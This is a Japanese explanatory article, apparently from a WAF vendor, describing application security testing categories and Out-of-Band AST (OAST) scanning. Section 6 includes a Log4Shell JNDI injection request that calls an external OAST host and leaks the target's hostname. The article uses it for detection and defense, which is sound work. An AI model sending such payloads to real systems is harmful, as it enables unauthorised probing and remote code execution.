1. ASTとは何か?
アプリケーション・セキュリティ・テスト(AST)は、IT セキュリティの重要な構成要素であり、ソフトウェアアプリケーショ ンの脆弱性と弱点を特定し、緩和することに焦点を当てています。AST は、ウェブアプリケーションやモバイルアプリケーションを含む、アプリケーションのセキュリティ態勢を評価するために設計された、様々な技法とツールを包含しています。AST の主な目的は、コードの脆弱性、設定の誤り、ロジックの欠陥など、攻撃者がアプリケーションとそのデータの機密性、完全性、または可用性を侵害するために悪用する可能性のある潜在的なセキュリティ上の欠陥を発見することです。AST を実施することで、組織はセキュリティリスクを事前に特定し、是正することができ、進化するサイ バーの脅威に直面しても、アプリケーションの回復力と信頼性を確保することができる。
2. アプリケーション・セキュリティ・テスト(AST)の分類
AST(アプリケーション・セキュリティ・テスト): 悪用可能なアプリケーションの脆弱性やセキュリティホールを見つけること。
ピラミッドの上に行くほど統合度が高まる
画像ソース:https://insights.sei.cmu.edu
- SAST(静的アプリケーション・セキュリティ・テスト): プログラムを実行せずにアプリケーションのソースコードやバイナリを分析し、セキュリティの脆弱性をチェックする。
- DAST(動的アプリケーション・セキュリティ・テスト): 攻撃をシミュレートし、その応答を分析することによって、実行中のアプリケーションの脆弱性をテストする。
- SCA(Software Composition Analysis) : アプリケーション開発で使用されるすべてのオープンソースコンポーネントのセキュリティ脆弱性を提供する。
- データベース・セキュリティ・スキャン : データベースのセキュリティ脆弱性をスキャンする。
- MAST(モバイル・アプリケーション・セキュリティ・テスト 静的解析、動的解析、フォレンジック技術などを用いて、モバイル・アプリケーションのセキュリティ脆弱性を検出します。
- IAST(Interactive Application Security Testing):インタラクティブ・アプリケーション・セキュリティ・テスト: SAST(静的解析)とDAST(動的解析)の技術を組み合わせてアプリケーションの脆弱性を検出します。アプリケーションのコンパイル前にソースコードを解析し、実行中のアプリケーションの脆弱性を検出することで、誤検知を効果的に減らします。
- ASTaaS(AST as a Service) : アプリケーションの静的解析(SAST)、動的解析(DAST)、侵入テストなどの技術をクラウドサービスとして提供。
- 相関ツール : ASTツールの結果を一元化されたリポジトリに収集・分析することで、誤検知を減らすツール。
- テストカバレッジアナライザ:解析したコード量を計測し、特定の範囲に分割して、プログラム実行中に特定のコード行や論理分岐文に実際に到達しているかどうかをチェックするツール。
- ASTO(Application Security Testing Orchestration):アプリケーション・セキュリティ・テスト・オーケストレーション: 異なるベンダーのASTツールの結果を統合することの難しさや、脆弱性のスキャンと修正にかかる時間とコストに対処するための統一プラットフォーム。
3. OAST とは何か?
OAST(Out-of-Band Application Security Testing)とは、帯域外のチャネルを通じてターゲットアプリケーションと対話する外部サー バを利用することによって、ウェブアプリケーションのセキュリティを評価するために使用される方法論です。
画像ソース:https://omoknooni.tistory.com/m/116
上図からわかるように、従来のテスト手法とは異なり、OAST はアプリケーション内の相互作用だけに依存しません。その代わりに、DNS、HTTP、あるいは他のネットワークプロトコルのような外部通信チャネルを利用し、 従来のテストアプローチでは見えない脆弱性を特定します。
4. OAST の仕組み
- 対象を特定する: セキュリティ脆弱性をテストする対象のウェブ・アプリケーションまたはシステムを特定する。
- 外部サーバを設定する: 外部サーバを設定し、帯域外のチャネルを介して、テスト対象のアプリケーションとやりとりする。
- トラフィックを注入する: 潜在的な脆弱性を誘発するために、外部サーバを通じて、テストペイロードやトラフィックをターゲットアプリケー ションに注入する。
- レスポンス分析: ターゲットアプリケーションから受信した応答を分析し、異常な動作やセキュリティ上の弱点を特定する。
- 脆弱性の検出: OAST プロセスを通じて発見された可能性のある、インジェクションの欠陥、アクセス制御の問題、機密データの暴露などの脆弱性を検出する。
5. なぜOASTを使うのか?
- 隠れた脆弱性を検出する: OASTは、帯域外のチャネルを通じてのみ悪用可能な脆弱性を含め、従来のテスト手法では見逃してしまうような脆弱性を発見することができます。
- 包括的なセキュリティ・カバレッジ: OASTは、従来のセキュリティテスト手法を補完して、より包括的なカバレッジを提供し、アプリケーションセキュリティの盲点を特定するのに役立ちます。
- 高度な脅威からの保護: OASTは、攻撃者がアプリケーションやそのデータを侵害するために悪用できる脆弱性を発見することで、高度な脅威に対する防御を支援します。
6. OASTスキャンの例
OAST 技術を使って特定できる代表的な脆弱性
- 帯域外SQLインジェクション(OOB SQLi)
- ブラインドXSS
- OSコードインジェクション
- サーバサイドリクエストフォージェリ
- XML外部エンティティ・インジェクション
また、脆弱なターゲットを迅速に特定するために、脆弱なドメインをサブドメインにアタッチする形で帯域外(OOB)を誘導する、以前に大きく報道されたLog4Shell攻撃の特定にも使用されました。
GET /?test=${jndi:ldap://${hostName}.oast.service}
HTTP/1.1
Host: sample.com
7. OASTスキャンへの対応
OASTスキャンによって攻撃者がターゲットの脆弱な部分を特定し、攻撃を開始する危険性がある。
下の画像は、Interacshを活用してOAST技術を使った脆弱性のスキャンを試みたと思われる攻撃です。
AIWAFでは、セキュリティ担当者と連携していないOASTスキャンをブロックする対策を行っています。
しかし、正規のスキャンを検出してブロックすることで問題が発生する可能性があるため、常設パターンとして登録できない場合もあり、ご要望に応じてカスタムパターンとして提供しています。